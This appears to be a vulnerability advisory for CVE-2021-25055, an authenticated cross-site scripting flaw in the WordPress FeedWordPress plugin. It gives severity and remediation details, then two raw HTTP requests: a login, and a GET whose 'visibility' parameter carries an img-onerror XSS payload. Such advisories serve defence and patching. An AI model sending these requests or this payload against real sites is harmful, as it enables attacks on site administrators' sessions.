| Title | WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting |
|---|---|
| Author | DhiyaneshDK |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected WordPress website. |
| Remediation | Update to the latest version of the FeedWordPress plugin (version 2022.0123 or higher) to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01696 |
| CVE ID | CVE-2021-25055 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wordpress xss wp-plugin authenticated wpscan feedwordpress_project vuln |
The plugin is affected by a cross-site scripting vulnerability within the “visibility” parameter.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=AhrvRk&pwd=yV2mvv&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0
Connection: close
Accept-Encoding: gzip
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